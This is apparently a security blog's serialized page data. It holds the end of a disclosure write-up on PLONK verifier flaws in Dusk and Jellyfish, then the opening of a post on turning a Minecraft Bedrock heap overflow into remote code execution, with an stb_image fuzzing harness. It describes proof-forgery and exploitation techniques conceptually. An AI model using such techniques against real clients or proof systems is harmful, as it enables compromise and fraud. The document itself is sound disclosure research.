Dusk's public ",{"type":23,"tag":92,"props":145520,"children":145523},{"href":145521,"rel":145522},"https://dusk.network/news/audits-overview",[96],[145524],{"type":28,"value":145525},"audits overview",{"type":28,"value":145527}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":23,"tag":24,"props":145529,"children":145530},{},[145531,145533,145538],{"type":28,"value":145532},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":23,"tag":1887,"props":145534,"children":145535},{},[145536],{"type":28,"value":145537},"evaluations",{"type":28,"value":320},{"type":23,"tag":24,"props":145540,"children":145541},{},[145542],{"type":28,"value":145543},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":23,"tag":24,"props":145545,"children":145546},{},[145547],{"type":28,"value":145548},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":23,"tag":70,"props":145550,"children":145552},{"id":145551},"a-similar-bug-in-espresso-systems-jellyfish",[145553],{"type":28,"value":145554},"A similar bug in Espresso Systems' Jellyfish",{"type":23,"tag":24,"props":145556,"children":145557},{},[145558,145560,145567],{"type":28,"value":145559},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":23,"tag":92,"props":145561,"children":145564},{"href":145562,"rel":145563},"https://github.com/EspressoSystems/jellyfish/",[96],[145565],{"type":28,"value":145566},"jf-plonk",{"type":28,"value":145568}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":23,"tag":24,"props":145570,"children":145571},{},[145572,145574,145581,145583,145594,145596,145621,145623,145648],{"type":28,"value":145573},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":23,"tag":92,"props":145575,"children":145578},{"href":145576,"rel":145577},"https://eprint.iacr.org/2020/315",[96],[145579],{"type":28,"value":145580},"Plookup",{"type":28,"value":145582}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":23,"tag":92,"props":145584,"children":145587},{"href":145585,"rel":145586},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[96],[145588],{"type":23,"tag":56,"props":145589,"children":145591},{"className":145590},[],[145592],{"type":28,"value":145593},"append_plookup_evaluations",{"type":28,"value":145595}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":23,"tag":56,"props":145597,"children":145599},{"className":145598},[2960,2961],[145600],{"type":23,"tag":504,"props":145601,"children":145603},{"className":145602},[2966],[145604],{"type":23,"tag":504,"props":145605,"children":145607},{"className":145606,"ariaHidden":2972},[2971],[145608],{"type":23,"tag":504,"props":145609,"children":145611},{"className":145610},[2977],[145612,145616],{"type":23,"tag":504,"props":145613,"children":145615},{"className":145614,"style":109639},[2982],[],{"type":23,"tag":504,"props":145617,"children":145619},{"className":145618,"style":92284},[2988,20569],[145620],{"type":28,"value":112702},{"type":28,"value":145622}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":23,"tag":56,"props":145624,"children":145626},{"className":145625},[2960,2961],[145627],{"type":23,"tag":504,"props":145628,"children":145630},{"className":145629},[2966],[145631],{"type":23,"tag":504,"props":145632,"children":145634},{"className":145633,"ariaHidden":2972},[2971],[145635],{"type":23,"tag":504,"props":145636,"children":145638},{"className":145637},[2977],[145639,145643],{"type":23,"tag":504,"props":145640,"children":145642},{"className":145641,"style":109639},[2982],[],{"type":23,"tag":504,"props":145644,"children":145646},{"className":145645,"style":92284},[2988,20569],[145647],{"type":28,"value":112702},{"type":28,"value":145649},", so the prover can adjust them after the fact to make the check pass.",{"type":23,"tag":24,"props":145651,"children":145652},{},[145653,145655,145661,145663,145669],{"type":28,"value":145654},"The attack requires modifying a single evaluation (",{"type":23,"tag":56,"props":145656,"children":145658},{"className":145657},[],[145659],{"type":28,"value":145660},"key_table_next_eval",{"type":28,"value":145662},") by ",{"type":23,"tag":56,"props":145664,"children":145666},{"className":145665},[],[145667],{"type":28,"value":145668},"delta / (u * v^3)",{"type":28,"value":145670}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":23,"tag":24,"props":145672,"children":145673},{},[145674,145676,145683,145685,145696],{"type":28,"value":145675},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":23,"tag":92,"props":145677,"children":145680},{"href":145678,"rel":145679},"https://github.com/EspressoSystems/jellyfish/pull/867",[96],[145681],{"type":28,"value":145682},"PR #867",{"type":28,"value":145684}," fixed the issue and was tagged as ",{"type":23,"tag":92,"props":145686,"children":145689},{"href":145687,"rel":145688},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[96],[145690],{"type":23,"tag":56,"props":145691,"children":145693},{"className":145692},[],[145694],{"type":28,"value":145695},"jf-plonk-v0.8.0",{"type":28,"value":145697}," on March 18, 2026.",{"type":23,"tag":17774,"props":145699,"children":145700},{},[],{"type":23,"tag":70,"props":145702,"children":145704},{"id":145703},"toward-standardization",[145705],{"type":28,"value":145706},"Toward standardization",{"type":23,"tag":24,"props":145708,"children":145709},{},[145710,145712,145719],{"type":28,"value":145711},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":23,"tag":92,"props":145713,"children":145716},{"href":145714,"rel":145715},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[96],[145717],{"type":28,"value":145718},"similar patterns appear across zkVMs",{"type":28,"value":145720},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":23,"tag":24,"props":145722,"children":145723},{},[145724],{"type":28,"value":145725},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":23,"tag":24,"props":145727,"children":145728},{},[145729],{"type":28,"value":145730},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":23,"tag":70,"props":145732,"children":145733},{"id":59802},[145734],{"type":28,"value":145735},"Disclosure timeline",{"type":23,"tag":54723,"props":145737,"children":145738},{},[145739,145755],{"type":23,"tag":121749,"props":145740,"children":145741},{},[145742],{"type":23,"tag":121753,"props":145743,"children":145744},{},[145745,145750],{"type":23,"tag":121757,"props":145746,"children":145747},{},[145748],{"type":28,"value":145749},"Date",{"type":23,"tag":121757,"props":145751,"children":145752},{},[145753],{"type":28,"value":145754},"Event",{"type":23,"tag":121777,"props":145756,"children":145757},{},[145758,145771,145784,145796,145822,145842],{"type":23,"tag":121753,"props":145759,"children":145760},{},[145761,145766],{"type":23,"tag":121784,"props":145762,"children":145763},{},[145764],{"type":28,"value":145765},"2026-02-13",{"type":23,"tag":121784,"props":145767,"children":145768},{},[145769],{"type":28,"value":145770},"Dusk vulnerability reported",{"type":23,"tag":121753,"props":145772,"children":145773},{},[145774,145779],{"type":23,"tag":121784,"props":145775,"children":145776},{},[145777],{"type":28,"value":145778},"2026-02-14",{"type":23,"tag":121784,"props":145780,"children":145781},{},[145782],{"type":28,"value":145783},"Dusk acknowledged",{"type":23,"tag":121753,"props":145785,"children":145786},{},[145787,145791],{"type":23,"tag":121784,"props":145788,"children":145789},{},[145790],{"type":28,"value":145778},{"type":23,"tag":121784,"props":145792,"children":145793},{},[145794],{"type":28,"value":145795},"Dusk fix committed",{"type":23,"tag":121753,"props":145797,"children":145798},{},[145799,145804],{"type":23,"tag":121784,"props":145800,"children":145801},{},[145802],{"type":28,"value":145803},"2026-02-27",{"type":23,"tag":121784,"props":145805,"children":145806},{},[145807,145809,145820],{"type":28,"value":145808},"Public ",{"type":23,"tag":92,"props":145810,"children":145813},{"href":145811,"rel":145812},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[96],[145814],{"type":23,"tag":56,"props":145815,"children":145817},{"className":145816},[],[145818],{"type":28,"value":145819},"dusk-rusk-1.6.0",{"type":28,"value":145821}," release published",{"type":23,"tag":121753,"props":145823,"children":145824},{},[145825,145830],{"type":23,"tag":121784,"props":145826,"children":145827},{},[145828],{"type":28,"value":145829},"2026-03-16",{"type":23,"tag":121784,"props":145831,"children":145832},{},[145833,145835,145841],{"type":28,"value":145834},"Jellyfish fix PR opened (",{"type":23,"tag":92,"props":145836,"children":145838},{"href":145678,"rel":145837},[96],[145839],{"type":28,"value":145840},"#867",{"type":28,"value":2105},{"type":23,"tag":121753,"props":145843,"children":145844},{},[145845,145850],{"type":23,"tag":121784,"props":145846,"children":145847},{},[145848],{"type":28,"value":145849},"2026-03-18",{"type":23,"tag":121784,"props":145851,"children":145852},{},[145853,145855,145860,145862],{"type":28,"value":145854},"Jellyfish fix merged in ",{"type":23,"tag":92,"props":145856,"children":145858},{"href":145678,"rel":145857},[96],[145859],{"type":28,"value":145840},{"type":28,"value":145861}," and tagged as ",{"type":23,"tag":92,"props":145863,"children":145865},{"href":145687,"rel":145864},[96],[145866],{"type":23,"tag":56,"props":145867,"children":145869},{"className":145868},[],[145870],{"type":28,"value":145695},{"type":23,"tag":70,"props":145872,"children":145874},{"id":145873},"acknowledgements",[145875],{"type":28,"value":145876},"Acknowledgements",{"type":23,"tag":24,"props":145878,"children":145879},{},[145880],{"type":28,"value":145881},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":540,"depth":540,"links":145883},[145884,145891,145892,145893,145894,145895,145896,145897,145898,145899,145900,145901],{"id":140701,"depth":540,"text":140704,"children":145885},[145886,145887,145888,145889,145890],{"id":140726,"depth":555,"text":140729},{"id":141529,"depth":555,"text":141532},{"id":142727,"depth":555,"text":142730},{"id":142757,"depth":555,"text":142760},{"id":143038,"depth":555,"text":143041},{"id":143771,"depth":540,"text":143774},{"id":143909,"depth":540,"text":143912},{"id":89052,"depth":540,"text":144540},{"id":145139,"depth":540,"text":145142},{"id":145276,"depth":540,"text":145279},{"id":145391,"depth":540,"text":145394},{"id":145484,"depth":540,"text":145487},{"id":145551,"depth":540,"text":145554},{"id":145703,"depth":540,"text":145706},{"id":59802,"depth":540,"text":145735},{"id":145873,"depth":540,"text":145876},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":145906,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":145907,"description":145908,"date":145909,"author":122408,"image":145910,"isFeatured":16,"onBlogPage":16,"tags":145912,"body":145915,"_type":1838,"_id":155295,"_source":1840,"_file":155296,"_stem":155297,"_extension":1843},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":145911,"width":96019,"height":12604},"/posts/minecraft-heap-overflow-to-rce/title.png",[145913,145914],"minecraft","rce",{"type":20,"children":145916,"toc":155272},[145917,145922,145927,145932,145938,145943,145962,145967,145973,145978,145983,145989,145994,145999,146004,146010,146015,146020,146026,146046,146058,146065,146087,146101,146108,146114,146124,146144,146149,146155,146168,146513,146518,146526,146532,146551,146859,146887,146930,146942,146950,146955,147424,147443,147464,147806,147830,148102,148126,148153,148362,148381,148389,148408,148414,148476,148479,148501,148505,148510,148515,148521,148526,148540,148546,148560,148566,148579,148584,148592,148597,148603,148624,148632,148645,148648,148653,148667,148672,148677,148683,148688,148711,148716,148722,148727,148739,148751,148865,148885,148890,148895,148901,148906,148926,149541,149554,150628,150633,150641,150646,150652,150657,150665,150678,150683,150688,150695,150708,150713,150720,150775,150795,150802,150821,150828,150831,150836,150841,150847,150859,150872,150880,150951,150962,150996,151004,151009,151014,151020,151032,151051,151063,151068,151076,151095,151103,151122,151130,151156,151164,151169,151177,151182,151190,151193,151198,151203,151209,151222,151240,151278,151308,151316,151321,151327,151332,151337,151343,151355,151524,151536,151544,151549,151556,151561,151622,151669,151681,151686,151712,151786,151824,151829,151837,151858,151863,151889,151923,151976,152023,152029,152048,152080,152088,152191,152262,152268,152294,152301,152306,152313,152318,152559,152585,152590,152638,152643,152649,152681,152693,152725,152733,152772,152780,152785,152793,152798,152806,152818,152826,152838,152846,152858,152878,152884,152904,152921,152929,152941,152949,152968,152973,152981,152986,152994,153020,153031,153038,153043,153051,153056,153064,153069,153077,153082,153090,153095,153103,153108,153116,153157,153164,153169,153177,153182,153190,153195,153203,153208,153213,153221,153226,153234,153260,153268,153294,153302,153307,153315,153320,153328,153336,153341,153349,153354,153362,153365,153376,153410,153428,153436,153456,153462,153481,153539,153559,153567,153570,153609,153669,153674,153680,153693,153701,153753,153792,153800,153833,153836,153856,153864,153870,153875,153883,153923,153964,153984,153989,153994,154012,154018,154023,154042,154103,154111,154137,154143,154163,154168,154173,154180,154245,154250,154257,154278,154283,154295,154301,154334,154341,154346,154374,154381,154437,154449,154456,154517,154536,154542,154576,154597,154624,154632,154685,154755,154761,154781,154824,154829,155227,155233,155238,155249,155253,155258,155263,155268],{"type":23,"tag":34349,"props":145918,"children":145920},{"id":145919},"pwning-minecraft-4-byte-heap-overflow-to-rce",[145921],{"type":28,"value":145907},{"type":23,"tag":24,"props":145923,"children":145924},{},[145925],{"type":28,"value":145926},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":23,"tag":24,"props":145928,"children":145929},{},[145930],{"type":28,"value":145931},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":23,"tag":70,"props":145933,"children":145935},{"id":145934},"the-target",[145936],{"type":28,"value":145937},"The Target",{"type":23,"tag":24,"props":145939,"children":145940},{},[145941],{"type":28,"value":145942},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":23,"tag":24,"props":145944,"children":145945},{},[145946,145948,145953,145955,145960],{"type":28,"value":145947},"There are two main editions: ",{"type":23,"tag":296,"props":145949,"children":145950},{},[145951],{"type":28,"value":145952},"Minecraft Java Edition",{"type":28,"value":145954},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":23,"tag":296,"props":145956,"children":145957},{},[145958],{"type":28,"value":145959},"Minecraft Bedrock Edition",{"type":28,"value":145961},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":23,"tag":24,"props":145963,"children":145964},{},[145965],{"type":28,"value":145966},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":23,"tag":82,"props":145968,"children":145970},{"id":145969},"choice-of-context",[145971],{"type":28,"value":145972},"Choice of Context",{"type":23,"tag":24,"props":145974,"children":145975},{},[145976],{"type":28,"value":145977},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":23,"tag":24,"props":145979,"children":145980},{},[145981],{"type":28,"value":145982},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":23,"tag":82,"props":145984,"children":145986},{"id":145985},"resource-packs",[145987],{"type":28,"value":145988},"Resource Packs",{"type":23,"tag":24,"props":145990,"children":145991},{},[145992],{"type":28,"value":145993},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":23,"tag":24,"props":145995,"children":145996},{},[145997],{"type":28,"value":145998},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":23,"tag":24,"props":146000,"children":146001},{},[146002],{"type":28,"value":146003},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":23,"tag":70,"props":146005,"children":146007},{"id":146006},"finding-a-memory-corruption-bug",[146008],{"type":28,"value":146009},"Finding a Memory Corruption Bug",{"type":23,"tag":24,"props":146011,"children":146012},{},[146013],{"type":28,"value":146014},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":23,"tag":24,"props":146016,"children":146017},{},[146018],{"type":28,"value":146019},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":23,"tag":82,"props":146021,"children":146023},{"id":146022},"locating-image-parsing-code",[146024],{"type":28,"value":146025},"Locating Image Parsing Code",{"type":23,"tag":24,"props":146027,"children":146028},{},[146029,146031,146037,146038,146044],{"type":28,"value":146030},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":23,"tag":56,"props":146032,"children":146034},{"className":146033},[],[146035],{"type":28,"value":146036},"PNG",{"type":28,"value":459},{"type":23,"tag":56,"props":146039,"children":146041},{"className":146040},[],[146042],{"type":28,"value":146043},"GIF",{"type":28,"value":146045}," and look for error logging or other messages that use those substrings.",{"type":23,"tag":24,"props":146047,"children":146048},{},[146049,146051,146056],{"type":28,"value":146050},"Searching for the string ",{"type":23,"tag":56,"props":146052,"children":146054},{"className":146053},[],[146055],{"type":28,"value":146043},{"type":28,"value":146057}," returned some interesting results:",{"type":23,"tag":24,"props":146059,"children":146060},{},[146061],{"type":23,"tag":126,"props":146062,"children":146064},{"alt":128,"src":146063},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":23,"tag":24,"props":146066,"children":146067},{},[146068,146070,146077,146079,146086],{"type":28,"value":146069},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":23,"tag":92,"props":146071,"children":146074},{"href":146072,"rel":146073},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[96],[146075],{"type":28,"value":146076},"stb_image.h",{"type":28,"value":146078},". For an example: usage of ",{"type":23,"tag":92,"props":146080,"children":146083},{"href":146081,"rel":146082},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[96],[146084],{"type":28,"value":146085},"bad Image Descriptor",{"type":28,"value":320},{"type":23,"tag":24,"props":146088,"children":146089},{},[146090,146092,146099],{"type":28,"value":146091},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":23,"tag":92,"props":146093,"children":146096},{"href":146094,"rel":146095},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[96],[146097],{"type":28,"value":146098},"stbi__gif_load_next",{"type":28,"value":146100},", and loaded the resource pack - this confirmed its usage:",{"type":23,"tag":24,"props":146102,"children":146103},{},[146104],{"type":23,"tag":126,"props":146105,"children":146107},{"alt":128,"src":146106},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":23,"tag":82,"props":146109,"children":146111},{"id":146110},"stb-image-library",[146112],{"type":28,"value":146113},"STB Image Library",{"type":23,"tag":24,"props":146115,"children":146116},{},[146117,146122],{"type":23,"tag":56,"props":146118,"children":146120},{"className":146119},[],[146121],{"type":28,"value":146076},{"type":28,"value":146123}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":23,"tag":24,"props":146125,"children":146126},{},[146127,146129,146134,146136,146143],{"type":28,"value":146128},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":23,"tag":56,"props":146130,"children":146132},{"className":146131},[],[146133],{"type":28,"value":146076},{"type":28,"value":146135}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":23,"tag":92,"props":146137,"children":146140},{"href":146138,"rel":146139},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[96],[146141],{"type":28,"value":146142},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":28,"value":320},{"type":23,"tag":24,"props":146145,"children":146146},{},[146147],{"type":28,"value":146148},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":23,"tag":17874,"props":146150,"children":146152},{"id":146151},"fuzzing",[146153],{"type":28,"value":146154},"Fuzzing",{"type":23,"tag":24,"props":146156,"children":146157},{},[146158,146160,146167],{"type":28,"value":146159},"The fuzzer consisted of a very simple ",{"type":23,"tag":92,"props":146161,"children":146164},{"href":146162,"rel":146163},"https://github.com/AFLplusplus/AFLplusplus",[96],[146165],{"type":28,"value":146166},"AFL++",{"type":28,"value":25721},{"type":23,"tag":494,"props":146169,"children":146171},{"code":146170,"language":2124,"meta":7,"className":15493,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n    int x, y, comp;\n    unsigned char *ret;\n\n    if (argc != 2) {\n        return 1;\n    }\n\n    ret = stbi_load(argv[1], &x, &y, &comp, 0);\n    if (ret == NULL) {\n        return 1;\n    }\n    \n    stbi_image_free(ret);\n\n    return 0;\n}\n",[146172],{"type":23,"tag":56,"props":146173,"children":146174},{"__ignoreMap":7},[146175,146188,146200,146207,146253,146265,146286,146293,146317,146332,146339,146346,146418,146442,146457,146464,146471,146484,146491,146506],{"type":23,"tag":504,"props":146176,"children":146177},{"class":506,"line":507},[146178,146183],{"type":23,"tag":504,"props":146179,"children":146180},{"style":544},[146181],{"type":28,"value":146182},"#define",{"type":23,"tag":504,"props":146184,"children":146185},{"style":517},[146186],{"type":28,"value":146187}," STB_IMAGE_IMPLEMENTATION\n",{"type":23,"tag":504,"props":146189,"children":146190},{"class":506,"line":540},[146191,146195],{"type":23,"tag":504,"props":146192,"children":146193},{"style":544},[146194],{"type":28,"value":89166},{"type":23,"tag":504,"props":146196,"children":146197},{"style":622},[146198],{"type":28,"value":146199}," \"./stb/stb_image.h\"\n",{"type":23,"tag":504,"props":146201,"children":146202},{"class":506,"line":555},[146203],{"type":23,"tag":504,"props":146204,"children":146205},{"emptyLinePlaceholder":16},[146206],{"type":28,"value":1038},{"type":23,"tag":504,"props":146208,"children":146209},{"class":506,"line":633},[146210,146214,146218,146222,146226,146231,146235,146240,146244,146249],{"type":23,"tag":504,"props":146211,"children":146212},{"style":511},[146213],{"type":28,"value":18028},{"type":23,"tag":504,"props":146215,"children":146216},{"style":517},[146217],{"type":28,"value":89531},{"type":23,"tag":504,"props":146219,"children":146220},{"style":523},[146221],{"type":28,"value":526},{"type":23,"tag":504,"props":146223,"children":146224},{"style":511},[146225],{"type":28,"value":18028},{"type":23,"tag":504,"props":146227,"children":146228},{"style":529},[146229],{"type":28,"value":146230}," argc",{"type":23,"tag":504,"props":146232,"children":146233},{"style":523},[146234],{"type":28,"value":576},{"type":23,"tag":504,"props":146236,"children":146237},{"style":511},[146238],{"type":28,"value":146239},"char",{"type":23,"tag":504,"props":146241,"children":146242},{"style":598},[146243],{"type":28,"value":88632},{"type":23,"tag":504,"props":146245,"children":146246},{"style":529},[146247],{"type":28,"value":146248},"argv",{"type":23,"tag":504,"props":146250,"children":146251},{"style":523},[146252],{"type":28,"value":537},{"type":23,"tag":504,"props":146254,"children":146255},{"class":506,"line":687},[146256,146260],{"type":23,"tag":504,"props":146257,"children":146258},{"style":511},[146259],{"type":28,"value":18058},{"type":23,"tag":504,"props":146261,"children":146262},{"style":523},[146263],{"type":28,"value":146264}," x, y, comp;\n",{"type":23,"tag":504,"props":146266,"children":146267},{"class":506,"line":736},[146268,146273,146277,146281],{"type":23,"tag":504,"props":146269,"children":146270},{"style":511},[146271],{"type":28,"value":146272},"    unsigned",{"type":23,"tag":504,"props":146274,"children":146275},{"style":511},[146276],{"type":28,"value":58027},{"type":23,"tag":504,"props":146278,"children":146279},{"style":598},[146280],{"type":28,"value":8797},{"type":23,"tag":504,"props":146282,"children":146283},{"style":523},[146284],{"type":28,"value":146285},"ret;\n",{"type":23,"tag":504,"props":146287,"children":146288},{"class":506,"line":785},[146289],{"type":23,"tag":504,"props":146290,"children":146291},{"emptyLinePlaceholder":16},[146292],{"type":28,"value":1038},{"type":23,"tag":504,"props":146294,"children":146295},{"class":506,"line":813},[146296,146300,146305,146309,146313],{"type":23,"tag":504,"props":146297,"children":146298},{"style":544},[146299],{"type":28,"value":11261},{"type":23,"tag":504,"props":146301,"children":146302},{"style":523},[146303],{"type":28,"value":146304}," (argc ",{"type":23,"tag":504,"props":146306,"children":146307},{"style":598},[146308],{"type":28,"value":14669},{"type":23,"tag":504,"props":146310,"children":146311},{"style":1440},[146312],{"type":28,"value":6917},{"type":23,"tag":504,"props":146314,"children":146315},{"style":523},[146316],{"type":28,"value":537},{"type":23,"tag":504,"props":146318,"children":146319},{"class":506,"line":851},[146320,146324,146328],{"type":23,"tag":504,"props":146321,"children":146322},{"style":544},[146323],{"type":28,"value":742},{"type":23,"tag":504,"props":146325,"children":146326},{"style":1440},[146327],{"type":28,"value":3504},{"type":23,"tag":504,"props":146329,"children":146330},{"style":523},[146331],{"type":28,"value":866},{"type":23,"tag":504,"props":146333,"children":146334},{"class":506,"line":869},[146335],{"type":23,"tag":504,"props":146336,"children":146337},{"style":523},[146338],{"type":28,"value":875},{"type":23,"tag":504,"props":146340,"children":146341},{"class":506,"line":878},[146342],{"type":23,"tag":504,"props":146343,"children":146344},{"emptyLinePlaceholder":16},[146345],{"type":28,"value":1038},{"type":23,"tag":504,"props":146347,"children":146348},{"class":506,"line":1221},[146349,146354,146358,146363,146367,146371,146375,146379,146383,146387,146392,146396,146401,146405,146410,146414],{"type":23,"tag":504,"props":146350,"children":146351},{"style":523},[146352],{"type":28,"value":146353},"    ret ",{"type":23,"tag":504,"props":146355,"children":146356},{"style":598},[146357],{"type":28,"value":601},{"type":23,"tag":504,"props":146359,"children":146360},{"style":517},[146361],{"type":28,"value":146362}," stbi_load",{"type":23,"tag":504,"props":146364,"children":146365},{"style":523},[146366],{"type":28,"value":526},{"type":23,"tag":504,"props":146368,"children":146369},{"style":529},[146370],{"type":28,"value":146248},{"type":23,"tag":504,"props":146372,"children":146373},{"style":523},[146374],{"type":28,"value":2711},{"type":23,"tag":504,"props":146376,"children":146377},{"style":1440},[146378],{"type":28,"value":2991},{"type":23,"tag":504,"props":146380,"children":146381},{"style":523},[146382],{"type":28,"value":22041},{"type":23,"tag":504,"props":146384,"children":146385},{"style":598},[146386],{"type":28,"value":2086},{"type":23,"tag":504,"props":146388,"children":146389},{"style":523},[146390],{"type":28,"value":146391},"x, ",{"type":23,"tag":504,"props":146393,"children":146394},{"style":598},[146395],{"type":28,"value":2086},{"type":23,"tag":504,"props":146397,"children":146398},{"style":523},[146399],{"type":28,"value":146400},"y, ",{"type":23,"tag":504,"props":146402,"children":146403},{"style":598},[146404],{"type":28,"value":2086},{"type":23,"tag":504,"props":146406,"children":146407},{"style":523},[146408],{"type":28,"value":146409},"comp, ",{"type":23,"tag":504,"props":146411,"children":146412},{"style":1440},[146413],{"type":28,"value":3001},{"type":23,"tag":504,"props":146415,"children":146416},{"style":523},[146417],{"type":28,"value":630},{"type":23,"tag":504,"props":146419,"children":146420},{"class":506,"line":1276},[146421,146425,146430,146434,146438],{"type":23,"tag":504,"props":146422,"children":146423},{"style":544},[146424],{"type":28,"value":11261},{"type":23,"tag":504,"props":146426,"children":146427},{"style":523},[146428],{"type":28,"value":146429}," (ret ",{"type":23,"tag":504,"props":146431,"children":146432},{"style":598},[146433],{"type":28,"value":7559},{"type":23,"tag":504,"props":146435,"children":146436},{"style":511},[146437],{"type":28,"value":126521},{"type":23,"tag":504,"props":146439,"children":146440},{"style":523},[146441],{"type":28,"value":537},{"type":23,"tag":504,"props":146443,"children":146444},{"class":506,"line":1285},[146445,146449,146453],{"type":23,"tag":504,"props":146446,"children":146447},{"style":544},[146448],{"type":28,"value":742},{"type":23,"tag":504,"props":146450,"children":146451},{"style":1440},[146452],{"type":28,"value":3504},{"type":23,"tag":504,"props":146454,"children":146455},{"style":523},[146456],{"type":28,"value":866},{"type":23,"tag":504,"props":146458,"children":146459},{"class":506,"line":1294},[146460],{"type":23,"tag":504,"props":146461,"children":146462},{"style":523},[146463],{"type":28,"value":875},{"type":23,"tag":504,"props":146465,"children":146466},{"class":506,"line":1302},[146467],{"type":23,"tag":504,"props":146468,"children":146469},{"style":523},[146470],{"type":28,"value":60765},{"type":23,"tag":504,"props":146472,"children":146473},{"class":506,"line":1311},[146474,146479],{"type":23,"tag":504,"props":146475,"children":146476},{"style":517},[146477],{"type":28,"value":146478},"    